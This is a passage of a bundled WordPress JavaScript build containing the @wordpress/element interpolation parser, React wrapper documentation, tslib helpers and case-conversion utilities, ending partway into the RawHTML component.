map converting it to a react element. * * There are four references extracted using this tokenizer: * * match: Full match of the tag (i.e. <strong>, </strong>, <br/>) * isClosing: The closing slash, if it exists. * name: The name portion of the tag (strong, br) (if ) * isSelfClosed: The slash on a self closing tag, if it exists. * * @type {RegExp} */ const tokenizer = /<(\/)?(\w+)\s*(\/)?>/g; /** * The stack frame tracking parse progress. * * @typedef Frame * * @property {Element} element A parent element which may still have * @property {number} tokenStart Offset at which parent element first * appears. * @property {number} tokenLength Length of string marking start of parent * element. * @property {number} [prevOffset] Running offset at which parsing should * continue. * @property {number} [leadingTextStart] Offset at which last closing element * finished, used for finding text between * elements. * @property {Element[]} children Children. */ /** * Tracks recursive-descent parse state. * * This is a Stack frame holding parent elements until all children have been * parsed. * * @private * @param {Element} element A parent element which may still have * nested children not yet parsed. * @param {number} tokenStart Offset at which parent element first * appears. * @param {number} tokenLength Length of string marking start of parent * element. * @param {number} [prevOffset] Running offset at which parsing should * continue. * @param {number} [leadingTextStart] Offset at which last closing element * finished, used for finding text between * elements. * * @return {Frame} The stack frame tracking parse progress. */ function createFrame(element, tokenStart, tokenLength, prevOffset, leadingTextStart) { return { element, tokenStart, tokenLength, prevOffset, leadingTextStart, children: [] }; } /** * This function creates an interpolated element from a passed in string with * specific tags matching how the string should be converted to an element via * the conversion map value. * * @example * For example, for the given string: * * "This is a <span>string</span> with <a>a link</a> and a self-closing * <CustomComponentB/> tag" * * You would have something like this as the conversionMap value: * * ```js * { * span: <span />, * a: <a href={ 'https://github.com' } />, * CustomComponentB: <CustomComponent />, * } * ``` * * @param {string} interpolatedString The interpolation string to be parsed. * @param {Record<string, Element>} conversionMap The map used to convert the string to * a react element. * @throws {TypeError} * @return {Element} A wp element. */ const createInterpolateElement = (interpolatedString, conversionMap) => { indoc = interpolatedString; offset = 0; output = []; stack = []; tokenizer.lastIndex = 0; if (!isValidConversionMap(conversionMap)) { throw new TypeError('The conversionMap provided is not valid. It must be an object with values that are React Elements'); } do { // twiddle our thumbs } while (proceed(conversionMap)); return (0,external_React_namespaceObject.createElement)(external_React_namespaceObject.Fragment, null, ...output); }; /** * Validate conversion map. * * A map is considered valid if it's an object and every value in the object * is a React Element * * @private * * @param {Object} conversionMap The map being validated. * * @return {boolean} True means the map is valid. */ const isValidConversionMap = conversionMap => { const isObject = typeof conversionMap === 'object'; const values = isObject && Object.values(conversionMap); return isObject && values.length && values.every(element => (0,external_React_namespaceObject.isValidElement)(element)); }; /** * This is the iterator over the matches in the string. * * @private * * @param {Object} conversionMap The conversion map for the string. * * @return {boolean} true for continuing to iterate, false for finished. */ function proceed(conversionMap) { const next = nextToken(); const [tokenType, name, startOffset, tokenLength] = next; const stackDepth = stack.length; const leadingTextStart = startOffset > offset ? offset : null; if (!conversionMap[name]) { addText(); return false; } switch (tokenType) { case 'no-more-tokens': if (stackDepth !== 0) { const { leadingTextStart: stackLeadingText, tokenStart } = stack.pop(); output.push(indoc.substr(stackLeadingText, tokenStart)); } addText(); return false; case 'self-closed': if (0 === stackDepth) { if (null !== leadingTextStart) { output.push(indoc.substr(leadingTextStart, startOffset - leadingTextStart)); } output.push(conversionMap[name]); offset = startOffset + tokenLength; return true; } // Otherwise we found an inner element. addChild(createFrame(conversionMap[name], startOffset, tokenLength)); offset = startOffset + tokenLength; return true; case 'opener': stack.push(createFrame(conversionMap[name], startOffset, tokenLength, startOffset + tokenLength, leadingTextStart)); offset = startOffset + tokenLength; return true; case 'closer': // If we're not nesting then this is easy - close the block. if (1 === stackDepth) { closeOuterElement(startOffset); offset = startOffset + tokenLength; return true; } // Otherwise we're nested and we have to close out the current // block and add it as a innerBlock to the parent. const stackTop = stack.pop(); const text = indoc.substr(stackTop.prevOffset, startOffset - stackTop.prevOffset); stackTop.children.push(text); stackTop.prevOffset = startOffset + tokenLength; const frame = createFrame(stackTop.element, stackTop.tokenStart, stackTop.tokenLength, startOffset + tokenLength); frame.children = stackTop.children; addChild(frame); offset = startOffset + tokenLength; return true; default: addText(); return false; } } /** * Grabs the next token match in the string and returns it's details. * * @private * * @return {Array} An array of details for the token matched. */ function nextToken() { const matches = tokenizer.exec(indoc); // We have no more tokens. if (null === matches) { return ['no-more-tokens']; } const startedAt = matches.index; const [match, isClosing, name, isSelfClosed] = matches; const length = match.length; if (isSelfClosed) { return ['self-closed', name, startedAt, length]; } if (isClosing) { return ['closer', name, startedAt, length]; } return ['opener', name, startedAt, length]; } /** * Pushes text extracted from the indoc string to the output stack given the * current rawLength value and offset (if rawLength is provided ) or the * indoc.length and offset. * * @private */ function addText() { const length = indoc.length - offset; if (0 === length) { return; } output.push(indoc.substr(offset, length)); } /** * Pushes a child element to the associated parent element's children for the * parent currently active in the stack. * * @private * * @param {Frame} frame The Frame containing the child element and it's * token information. */ function addChild(frame) { const { element, tokenStart, tokenLength, prevOffset, children } = frame; const parent = stack[stack.length - 1]; const text = indoc.substr(parent.prevOffset, tokenStart - parent.prevOffset); if (text) { parent.children.push(text); } parent.children.push((0,external_React_namespaceObject.cloneElement)(element, null, ...children)); parent.prevOffset = prevOffset ? prevOffset : tokenStart + tokenLength; } /** * This is called for closing tags. It creates the element currently active in * the stack. * * @private * * @param {number} endOffset Offset at which the closing tag for the element * begins in the string. If this is greater than the * prevOffset attached to the element, then this * helps capture any remaining nested text nodes in * the element. */ function closeOuterElement(endOffset) { const { element, leadingTextStart, prevOffset, tokenStart, children } = stack.pop(); const text = endOffset ? indoc.substr(prevOffset, endOffset - prevOffset) : indoc.substr(prevOffset); if (text) { children.push(text); } if (null !== leadingTextStart) { output.push(indoc.substr(leadingTextStart, tokenStart - leadingTextStart)); } output.push((0,external_React_namespaceObject.cloneElement)(element, null, ...children)); } /* harmony default export */ const create_interpolate_element = (createInterpolateElement); ;// ./node_modules/@wordpress/element/build-module/react.js /** * External dependencies */ // eslint-disable-next-line @typescript-eslint/no-restricted-imports /** * Object containing a React element. * * @typedef {import('react').ReactElement} Element */ /** * Object containing a React component. * * @typedef {import('react').ComponentType} ComponentType */ /** * Object containing a React synthetic event. * * @typedef {import('react').SyntheticEvent} SyntheticEvent */ /** * Object containing a React ref object. * * @template T * @typedef {import('react').RefObject<T>} RefObject<T> */ /** * Object containing a React ref callback. * * @template T * @typedef {import('react').RefCallback<T>} RefCallback<T> */ /** * Object containing a React ref. * * @template T * @typedef {import('react').Ref<T>} Ref<T> */ /** * Object that provides utilities for dealing with React children. */ /** * Creates a copy of an element with extended props. * * @param {Element} element Element * @param {?Object} props Props to apply to cloned element * * @return {Element} Cloned element. */ /** * A base class to create WordPress Components (Refs, state and lifecycle hooks) */ /** * Creates a context object containing two components: a provider and consumer. * * @param {Object} defaultValue A default data stored in the context. * * @return {Object} Context object. */ /** * Returns a new element of given type. Type can be either a string tag name or * another function which itself returns an element. * * @param {?(string|Function)} type Tag name or element creator * @param {Object} props Element properties, either attribute * set to apply to DOM node or values to * pass through to element creator * @param {...Element} children Descendant elements * * @return {Element} Element. */ /** * Returns an object tracking a reference to a rendered element via its * `current` property as either a DOMElement or Element, dependent upon the * type of element rendered with the ref attribute. * * @return {Object} Ref object. */ /** * Component enhancer used to enable passing a ref to its wrapped component. * Pass a function argument which receives `props` and `ref` as its arguments, * returning an element using the forwarded ref. The return value is a new * component which forwards its ref. * * @param {Function} forwarder Function passed `props` and `ref`, expected to * return an element. * * @return {Component} Enhanced component. */ /** * A component which renders its children without any wrapping element. */ /** * Checks if an object is a valid React Element. * * @param {Object} objectToCheck The object to be checked. * * @return {boolean} true if objectToTest is a valid React Element and false otherwise. */ /** * @see https://react.dev/reference/react/memo */ /** * Component that activates additional checks and warnings for its descendants. */ /** * @see https://react.dev/reference/react/useCallback */ /** * @see https://react.dev/reference/react/useContext */ /** * @see https://react.dev/reference/react/useDebugValue */ /** * @see https://react.dev/reference/react/useDeferredValue */ /** * @see https://react.dev/reference/react/useEffect */ /** * @see https://react.dev/reference/react/useId */ /** * @see https://react.dev/reference/react/useImperativeHandle */ /** * @see https://react.dev/reference/react/useInsertionEffect */ /** * @see https://react.dev/reference/react/useLayoutEffect */ /** * @see https://react.dev/reference/react/useMemo */ /** * @see https://react.dev/reference/react/useReducer */ /** * @see https://react.dev/reference/react/useRef */ /** * @see https://react.dev/reference/react/useState */ /** * @see https://react.dev/reference/react/useSyncExternalStore */ /** * @see https://react.dev/reference/react/useTransition */ /** * @see https://react.dev/reference/react/startTransition */ /** * @see https://react.dev/reference/react/lazy */ /** * @see https://react.dev/reference/react/Suspense */ /** * @see https://react.dev/reference/react/PureComponent */ /** * Concatenate two or more React children objects. * * @param {...?Object} childrenArguments Array of children arguments (array of arrays/strings/objects) to concatenate. * * @return {Array} The concatenated value. */ function concatChildren(...childrenArguments) { return childrenArguments.reduce((accumulator, children, i) => { external_React_namespaceObject.Children.forEach(children, (child, j) => { if (child && 'string' !== typeof child) { child = (0,external_React_namespaceObject.cloneElement)(child, { key: [i, j].join() }); } accumulator.push(child); }); return accumulator; }, []); } /** * Switches the nodeName of all the elements in the children object. * * @param {?Object} children Children object. * @param {string} nodeName Node name. * * @return {?Object} The updated children object. */ function switchChildrenNodeName(children, nodeName) { return children && external_React_namespaceObject.Children.map(children, (elt, index) => { if (typeof elt?.valueOf() === 'string') { return (0,external_React_namespaceObject.createElement)(nodeName, { key: index }, elt); } const { children: childrenProp, ...props } = elt.props; return (0,external_React_namespaceObject.createElement)(nodeName, { key: index, ...props }, childrenProp); }); } // EXTERNAL MODULE: external "ReactDOM" var external_ReactDOM_ = __webpack_require__(5795); // EXTERNAL MODULE: ./node_modules/react-dom/client.js var client = __webpack_require__(4140); ;// ./node_modules/@wordpress/element/build-module/react-platform.js /** * External dependencies */ /** * Creates a portal into which a component can be rendered. * * @see https://github.com/facebook/react/issues/10309#issuecomment-318433235 * * @param {import('react').ReactElement} child Any renderable child, such as an element, * string, or fragment. * @param {HTMLElement} container DOM node into which element should be rendered. */ /** * Finds the dom node of a React component. * * @param {import('react').ComponentType} component Component's instance. */ /** * Forces React to flush any updates inside the provided callback synchronously. * * @param {Function} callback Callback to run synchronously. */ /** * Renders a given element into the target DOM node. * * @deprecated since WordPress 6.2.0. Use `createRoot` instead. * @see https://react.dev/reference/react-dom/render */ /** * Hydrates a given element into the target DOM node. * * @deprecated since WordPress 6.2.0. Use `hydrateRoot` instead. * @see https://react.dev/reference/react-dom/hydrate */ /** * Creates a new React root for the target DOM node. * * @since 6.2.0 Introduced in WordPress core. * @see https://react.dev/reference/react-dom/client/createRoot */ /** * Creates a new React root for the target DOM node and hydrates it with a pre-generated markup. * * @since 6.2.0 Introduced in WordPress core. * @see https://react.dev/reference/react-dom/client/hydrateRoot */ /** * Removes any mounted element from the target DOM node. * * @deprecated since WordPress 6.2.0. Use `root.unmount()` instead. * @see https://react.dev/reference/react-dom/unmountComponentAtNode */ ;// ./node_modules/@wordpress/element/build-module/utils.js /** * Checks if the provided WP element is empty. * * @param {*} element WP element to check. * @return {boolean} True when an element is considered empty. */ const isEmptyElement = element => { if (typeof element === 'number') { return false; } if (typeof element?.valueOf() === 'string' || Array.isArray(element)) { return !element.length; } return !element; }; ;// ./node_modules/@wordpress/element/build-module/platform.js /** * Parts of this source were derived and modified from react-native-web, * released under the MIT license. * * Copyright (c) 2016-present, Nicolas Gallagher. * Copyright (c) 2015-present, Facebook, Inc. * */ const Platform = { OS: 'web', select: spec => 'web' in spec ? spec.web : spec.default, isWeb: true }; /** * Component used to detect the current Platform being used. * Use Platform.OS === 'web' to detect if running on web environment. * * This is the same concept as the React Native implementation. * * @see https://reactnative.dev/docs/platform-specific-code#platform-module * * Here is an example of how to use the select method: * @example * ```js * import { Platform } from '@wordpress/element'; * * const placeholderLabel = Platform.select( { * native: __( 'Add media' ), * web: __( 'Drag images, upload new ones or select files from your library.' ), * } ); * ``` */ /* harmony default export */ const platform = (Platform); ;// ./node_modules/is-plain-object/dist/is-plain-object.mjs /*! * is-plain-object <https://github.com/jonschlinkert/is-plain-object> * * Copyright (c) 2014-2017, Jon Schlinkert. * Released under the MIT License. */ function isObject(o) { return Object.prototype.toString.call(o) === '[object Object]'; } function isPlainObject(o) { var ctor,prot; if (isObject(o) === false) return false; // If has modified constructor ctor = o.constructor; if (ctor === undefined) return true; // If has modified prototype prot = ctor.prototype; if (isObject(prot) === false) return false; // If constructor does not have an Object-specific method if (prot.hasOwnProperty('isPrototypeOf') === false) { return false; } // Most likely a plain Object return true; } ;// ./node_modules/tslib/tslib.es6.mjs /****************************************************************************** Copyright (c) Microsoft Corporation. Permission to use, copy, modify, and/or distribute this software for any purpose with or without fee is hereby granted. THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. ***************************************************************************** */ /* global Reflect, Promise, SuppressedError, Symbol, Iterator */ var extendStatics = function(d, b) { extendStatics = Object.setPrototypeOf || ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) || function (d, b) { for (var p in b) if (Object.prototype.hasOwnProperty.call(b, p)) d[p] = b[p]; }; return extendStatics(d, b); }; function __extends(d, b) { if (typeof b !== "function" && b !== null) throw new TypeError("Class extends value " + String(b) + " is not a constructor or null"); extendStatics(d, b); function __() { this.constructor = d; } d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __()); } var __assign = function() { __assign = Object.assign || function __assign(t) { for (var s, i = 1, n = arguments.length; i < n; i++) { s = arguments[i]; for (var p in s) if (Object.prototype.hasOwnProperty.call(s, p)) t[p] = s[p]; } return t; } return __assign.apply(this, arguments); } function __rest(s, e) { var t = {}; for (var p in s) if (Object.prototype.hasOwnProperty.call(s, p) && e.indexOf(p) < 0) t[p] = s[p]; if (s != null && typeof Object.getOwnPropertySymbols === "function") for (var i = 0, p = Object.getOwnPropertySymbols(s); i < p.length; i++) { if (e.indexOf(p[i]) < 0 && Object.prototype.propertyIsEnumerable.call(s, p[i])) t[p[i]] = s[p[i]]; } return t; } function __decorate(decorators, target, key, desc) { var c = arguments.length, r = c < 3 ? target : desc === null ? desc = Object.getOwnPropertyDescriptor(target, key) : desc, d; if (typeof Reflect === "object" && typeof Reflect.decorate === "function") r = Reflect.decorate(decorators, target, key, desc); else for (var i = decorators.length - 1; i >= 0; i--) if (d = decorators[i]) r = (c < 3 ? d(r) : c > 3 ? d(target, key, r) : d(target, key)) || r; return c > 3 && r && Object.defineProperty(target, key, r), r; } function __param(paramIndex, decorator) { return function (target, key) { decorator(target, key, paramIndex); } } function __esDecorate(ctor, descriptorIn, decorators, contextIn, initializers, extraInitializers) { function accept(f) { if (f !== void 0 && typeof f !== "function") throw new TypeError("Function expected"); return f; } var kind = contextIn.kind, key = kind === "getter" ? "get" : kind === "setter" ? "set" : "value"; var target = !descriptorIn && ctor ? contextIn["static"] ? ctor : ctor.prototype : null; var descriptor = descriptorIn || (target ? Object.getOwnPropertyDescriptor(target, contextIn.name) : {}); var _, done = false; for (var i = decorators.length - 1; i >= 0; i--) { var context = {}; for (var p in contextIn) context[p] = p === "access" ? {} : contextIn[p]; for (var p in contextIn.access) context.access[p] = contextIn.access[p]; context.addInitializer = function (f) { if (done) throw new TypeError("Cannot add initializers after decoration has completed"); extraInitializers.push(accept(f || null)); }; var result = (0, decorators[i])(kind === "accessor" ? { get: descriptor.get, set: descriptor.set } : descriptor[key], context); if (kind === "accessor") { if (result === void 0) continue; if (result === null || typeof result !== "object") throw new TypeError("Object expected"); if (_ = accept(result.get)) descriptor.get = _; if (_ = accept(result.set)) descriptor.set = _; if (_ = accept(result.init)) initializers.unshift(_); } else if (_ = accept(result)) { if (kind === "field") initializers.unshift(_); else descriptor[key] = _; } } if (target) Object.defineProperty(target, contextIn.name, descriptor); done = true; }; function __runInitializers(thisArg, initializers, value) { var useValue = arguments.length > 2; for (var i = 0; i < initializers.length; i++) { value = useValue ? initializers[i].call(thisArg, value) : initializers[i].call(thisArg); } return useValue ? value : void 0; }; function __propKey(x) { return typeof x === "symbol" ? x : "".concat(x); }; function __setFunctionName(f, name, prefix) { if (typeof name === "symbol") name = name.description ? "[".concat(name.description, "]") : ""; return Object.defineProperty(f, "name", { configurable: true, value: prefix ? "".concat(prefix, " ", name) : name }); }; function __metadata(metadataKey, metadataValue) { if (typeof Reflect === "object" && typeof Reflect.metadata === "function") return Reflect.metadata(metadataKey, metadataValue); } function __awaiter(thisArg, _arguments, P, generator) { function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); } return new (P || (P = Promise))(function (resolve, reject) { function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } } function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } } function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); } step((generator = generator.apply(thisArg, _arguments || [])).next()); }); } function __generator(thisArg, body) { var _ = { label: 0, sent: function() { if (t[0] & 1) throw t[1]; return t[1]; }, trys: [], ops: [] }, f, y, t, g = Object.create((typeof Iterator === "function" ? Iterator : Object).prototype); return g.next = verb(0), g["throw"] = verb(1), g["return"] = verb(2), typeof Symbol === "function" && (g[Symbol.iterator] = function() { return this; }), g; function verb(n) { return function (v) { return step([n, v]); }; } function step(op) { if (f) throw new TypeError("Generator is already executing."); while (g && (g = 0, op[0] && (_ = 0)), _) try { if (f = 1, y && (t = op[0] & 2 ? y["return"] : op[0] ? y["throw"] || ((t = y["return"]) && t.call(y), 0) : y.next) && !(t = t.call(y, op[1])).done) return t; if (y = 0, t) op = [op[0] & 2, t.value]; switch (op[0]) { case 0: case 1: t = op; break; case 4: _.label++; return { value: op[1], done: false }; case 5: _.label++; y = op[1]; op = [0]; continue; case 7: op = _.ops.pop(); _.trys.pop(); continue; default: if (!(t = _.trys, t = t.length > 0 && t[t.length - 1]) && (op[0] === 6 || op[0] === 2)) { _ = 0; continue; } if (op[0] === 3 && (!t || (op[1] > t[0] && op[1] < t[3]))) { _.label = op[1]; break; } if (op[0] === 6 && _.label < t[1]) { _.label = t[1]; t = op; break; } if (t && _.label < t[2]) { _.label = t[2]; _.ops.push(op); break; } if (t[2]) _.ops.pop(); _.trys.pop(); continue; } op = body.call(thisArg, _); } catch (e) { op = [6, e]; y = 0; } finally { f = t = 0; } if (op[0] & 5) throw op[1]; return { value: op[0] ? op[1] : void 0, done: true }; } } var __createBinding = Object.create ? (function(o, m, k, k2) { if (k2 === undefined) k2 = k; var desc = Object.getOwnPropertyDescriptor(m, k); if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) { desc = { enumerable: true, get: function() { return m[k]; } }; } Object.defineProperty(o, k2, desc); }) : (function(o, m, k, k2) { if (k2 === undefined) k2 = k; o[k2] = m[k]; }); function __exportStar(m, o) { for (var p in m) if (p !== "default" && !Object.prototype.hasOwnProperty.call(o, p)) __createBinding(o, m, p); } function __values(o) { var s = typeof Symbol === "function" && Symbol.iterator, m = s && o[s], i = 0; if (m) return m.call(o); if (o && typeof o.length === "number") return { next: function () { if (o && i >= o.length) o = void 0; return { value: o && o[i++], done: !o }; } }; throw new TypeError(s ? "Object is not iterable." : "Symbol.iterator is not defined."); } function __read(o, n) { var m = typeof Symbol === "function" && o[Symbol.iterator]; if (!m) return o; var i = m.call(o), r, ar = [], e; try { while ((n === void 0 || n-- > 0) && !(r = i.next()).done) ar.push(r.value); } catch (error) { e = { error: error }; } finally { try { if (r && !r.done && (m = i["return"])) m.call(i); } finally { if (e) throw e.error; } } return ar; } /** @deprecated */ function __spread() { for (var ar = [], i = 0; i < arguments.length; i++) ar = ar.concat(__read(arguments[i])); return ar; } /** @deprecated */ function __spreadArrays() { for (var s = 0, i = 0, il = arguments.length; i < il; i++) s += arguments[i].length; for (var r = Array(s), k = 0, i = 0; i < il; i++) for (var a = arguments[i], j = 0, jl = a.length; j < jl; j++, k++) r[k] = a[j]; return r; } function __spreadArray(to, from, pack) { if (pack || arguments.length === 2) for (var i = 0, l = from.length, ar; i < l; i++) { if (ar || !(i in from)) { if (!ar) ar = Array.prototype.slice.call(from, 0, i); ar[i] = from[i]; } } return to.concat(ar || Array.prototype.slice.call(from)); } function __await(v) { return this instanceof __await ? (this.v = v, this) : new __await(v); } function __asyncGenerator(thisArg, _arguments, generator) { if (!Symbol.asyncIterator) throw new TypeError("Symbol.asyncIterator is not defined."); var g = generator.apply(thisArg, _arguments || []), i, q = []; return i = Object.create((typeof AsyncIterator === "function" ? AsyncIterator : Object).prototype), verb("next"), verb("throw"), verb("return", awaitReturn), i[Symbol.asyncIterator] = function () { return this; }, i; function awaitReturn(f) { return function (v) { return Promise.resolve(v).then(f, reject); }; } function verb(n, f) { if (g[n]) { i[n] = function (v) { return new Promise(function (a, b) { q.push([n, v, a, b]) > 1 || resume(n, v); }); }; if (f) i[n] = f(i[n]); } } function resume(n, v) { try { step(g[n](v)); } catch (e) { settle(q[0][3], e); } } function step(r) { r.value instanceof __await ? Promise.resolve(r.value.v).then(fulfill, reject) : settle(q[0][2], r); } function fulfill(value) { resume("next", value); } function reject(value) { resume("throw", value); } function settle(f, v) { if (f(v), q.shift(), q.length) resume(q[0][0], q[0][1]); } } function __asyncDelegator(o) { var i, p; return i = {}, verb("next"), verb("throw", function (e) { throw e; }), verb("return"), i[Symbol.iterator] = function () { return this; }, i; function verb(n, f) { i[n] = o[n] ? function (v) { return (p = !p) ? { value: __await(o[n](v)), done: false } : f ? f(v) : v; } : f; } } function __asyncValues(o) { if (!Symbol.asyncIterator) throw new TypeError("Symbol.asyncIterator is not defined."); var m = o[Symbol.asyncIterator], i; return m ? m.call(o) : (o = typeof __values === "function" ? __values(o) : o[Symbol.iterator](), i = {}, verb("next"), verb("throw"), verb("return"), i[Symbol.asyncIterator] = function () { return this; }, i); function verb(n) { i[n] = o[n] && function (v) { return new Promise(function (resolve, reject) { v = o[n](v), settle(resolve, reject, v.done, v.value); }); }; } function settle(resolve, reject, d, v) { Promise.resolve(v).then(function(v) { resolve({ value: v, done: d }); }, reject); } } function __makeTemplateObject(cooked, raw) { if (Object.defineProperty) { Object.defineProperty(cooked, "raw", { value: raw }); } else { cooked.raw = raw; } return cooked; }; var __setModuleDefault = Object.create ? (function(o, v) { Object.defineProperty(o, "default", { enumerable: true, value: v }); }) : function(o, v) { o["default"] = v; }; var ownKeys = function(o) { ownKeys = Object.getOwnPropertyNames || function (o) { var ar = []; for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k; return ar; }; return ownKeys(o); }; function __importStar(mod) { if (mod && mod.__esModule) return mod; var result = {}; if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]); __setModuleDefault(result, mod); return result; } function __importDefault(mod) { return (mod && mod.__esModule) ? mod : { default: mod }; } function __classPrivateFieldGet(receiver, state, kind, f) { if (kind === "a" && !f) throw new TypeError("Private accessor was defined without a getter"); if (typeof state === "function" ? receiver !== state || !f : !state.has(receiver)) throw new TypeError("Cannot read private member from an object whose class did not declare it"); return kind === "m" ? f : kind === "a" ? f.call(receiver) : f ? f.value : state.get(receiver); } function __classPrivateFieldSet(receiver, state, value, kind, f) { if (kind === "m") throw new TypeError("Private method is not writable"); if (kind === "a" && !f) throw new TypeError("Private accessor was defined without a setter"); if (typeof state === "function" ? receiver !== state || !f : !state.has(receiver)) throw new TypeError("Cannot write private member to an object whose class did not declare it"); return (kind === "a" ? f.call(receiver, value) : f ? f.value = value : state.set(receiver, value)), value; } function __classPrivateFieldIn(state, receiver) { if (receiver === null || (typeof receiver !== "object" && typeof receiver !== "function")) throw new TypeError("Cannot use 'in' operator on non-object"); return typeof state === "function" ? receiver === state : state.has(receiver); } function __addDisposableResource(env, value, async) { if (value !== null && value !== void 0) { if (typeof value !== "object" && typeof value !== "function") throw new TypeError("Object expected."); var dispose, inner; if (async) { if (!Symbol.asyncDispose) throw new TypeError("Symbol.asyncDispose is not defined."); dispose = value[Symbol.asyncDispose]; } if (dispose === void 0) { if (!Symbol.dispose) throw new TypeError("Symbol.dispose is not defined."); dispose = value[Symbol.dispose]; if (async) inner = dispose; } if (typeof dispose !== "function") throw new TypeError("Object not disposable."); if (inner) dispose = function() { try { inner.call(this); } catch (e) { return Promise.reject(e); } }; env.stack.push({ value: value, dispose: dispose, async: async }); } else if (async) { env.stack.push({ async: true }); } return value; } var _SuppressedError = typeof SuppressedError === "function" ? SuppressedError : function (error, suppressed, message) { var e = new Error(message); return e.name = "SuppressedError", e.error = error, e.suppressed = suppressed, e; }; function __disposeResources(env) { function fail(e) { env.error = env.hasError ? new _SuppressedError(e, env.error, "An error was suppressed during disposal.") : e; env.hasError = true; } var r, s = 0; function next() { while (r = env.stack.pop()) { try { if (!r.async && s === 1) return s = 0, env.stack.push(r), Promise.resolve().then(next); if (r.dispose) { var result = r.dispose.call(r.value); if (r.async) return s |= 2, Promise.resolve(result).then(next, function(e) { fail(e); return next(); }); } else s |= 1; } catch (e) { fail(e); } } if (s === 1) return env.hasError ? Promise.reject(env.error) : Promise.resolve(); if (env.hasError) throw env.error; } return next(); } function __rewriteRelativeImportExtension(path, preserveJsx) { if (typeof path === "string" && /^\.\.?\//.test(path)) { return path.replace(/\.(tsx)$|((?:\.d)?)((?:\.[^./]+?)?)\.([cm]?)ts$/i, function (m, tsx, d, ext, cm) { return tsx ? preserveJsx ? ".jsx" : ".js" : d && (!ext || !cm) ? m : (d + ext + "." + cm.toLowerCase() + "js"); }); } return path; } /* harmony default export */ const tslib_es6 = ({ __extends, __assign, __rest, __decorate, __param, __esDecorate, __runInitializers, __propKey, __setFunctionName, __metadata, __awaiter, __generator, __createBinding, __exportStar, __values, __read, __spread, __spreadArrays, __spreadArray, __await, __asyncGenerator, __asyncDelegator, __asyncValues, __makeTemplateObject, __importStar, __importDefault, __classPrivateFieldGet, __classPrivateFieldSet, __classPrivateFieldIn, __addDisposableResource, __disposeResources, __rewriteRelativeImportExtension, }); ;// ./node_modules/lower-case/dist.es2015/index.js /** * Source: ftp://ftp.unicode.org/Public/UCD/latest/ucd/SpecialCasing.txt */ var SUPPORTED_LOCALE = { tr: { regexp: /\u0130|\u0049|\u0049\u0307/g, map: { İ: "\u0069", I: "\u0131", İ: "\u0069", }, }, az: { regexp: /\u0130/g, map: { İ: "\u0069", I: "\u0131", İ: "\u0069", }, }, lt: { regexp: /\u0049|\u004A|\u012E|\u00CC|\u00CD|\u0128/g, map: { I: "\u0069\u0307", J: "\u006A\u0307", Į: "\u012F\u0307", Ì: "\u0069\u0307\u0300", Í: "\u0069\u0307\u0301", Ĩ: "\u0069\u0307\u0303", }, }, }; /** * Localized lower case. */ function localeLowerCase(str, locale) { var lang = SUPPORTED_LOCALE[locale.toLowerCase()]; if (lang) return lowerCase(str.replace(lang.regexp, function (m) { return lang.map[m]; })); return lowerCase(str); } /** * Lower case as a function. */ function lowerCase(str) { return str.toLowerCase(); } ;// ./node_modules/no-case/dist.es2015/index.js // Support camel case ("camelCase" -> "camel Case" and "CAMELCase" -> "CAMEL Case"). var DEFAULT_SPLIT_REGEXP = [/([a-z0-9])([A-Z])/g, /([A-Z])([A-Z][a-z])/g]; // Remove all non-word characters. var DEFAULT_STRIP_REGEXP = /[^A-Z0-9]+/gi; /** * Normalize the string into something other libraries can manipulate easier. */ function noCase(input, options) { if (options === void 0) { options = {}; } var _a = options.splitRegexp, splitRegexp = _a === void 0 ? DEFAULT_SPLIT_REGEXP : _a, _b = options.stripRegexp, stripRegexp = _b === void 0 ? DEFAULT_STRIP_REGEXP : _b, _c = options.transform, transform = _c === void 0 ? lowerCase : _c, _d = options.delimiter, delimiter = _d === void 0 ? " " : _d; var result = replace(replace(input, splitRegexp, "$1\0$2"), stripRegexp, "\0"); var start = 0; var end = result.length; // Trim the delimiter from around the output string. while (result.charAt(start) === "\0") start++; while (result.charAt(end - 1) === "\0") end--; // Transform each token independently. return result.slice(start, end).split("\0").map(transform).join(delimiter); } /** * Replace `re` in the input string with the replacement value. */ function replace(input, re, value) { if (re instanceof RegExp) return input.replace(re, value); return re.reduce(function (input, re) { return input.replace(re, value); }, input); } ;// ./node_modules/dot-case/dist.es2015/index.js function dotCase(input, options) { if (options === void 0) { options = {}; } return noCase(input, __assign({ delimiter: "." }, options)); } ;// ./node_modules/param-case/dist.es2015/index.js function paramCase(input, options) { if (options === void 0) { options = {}; } return dotCase(input, __assign({ delimiter: "-" }, options)); } ;// external ["wp","escapeHtml"] const external_wp_escapeHtml_namespaceObject = window["wp"]["escapeHtml"]; ;// ./node_modules/@wordpress/element/build-module/raw-html.js /** * Internal dependencies */ /** @typedef {{children: string} & import('react').ComponentPropsWithoutRef<'div'>} RawHTMLProps */ /** * Component used as equivalent of Fragment with unescaped HTML, in cases where * it is desirable to render dangerous HTML without needing a wrapper element. * To preserve additional props, a `div` wrapper _will_ be created if any props * aside from `children` are passed. * * @param {RawHTMLProps} props Children should be a string of HTML or an array * of strings. Other props will be passed through * to the div wrapper. * * @return {JSX.Element} Dangerously-rendering component. */ function RawHTML({ children, ...props }) { let rawHtml = ''; // Cast children as an array, and concatenate each element if it is a string. external_React_namespaceObject.Children.toArray(children).forEach(child => { if (typeof child === 'string' && child.trim() !== '') { rawHtml += child; } }); // The `div` wrapper will be stripped by the `renderElement` 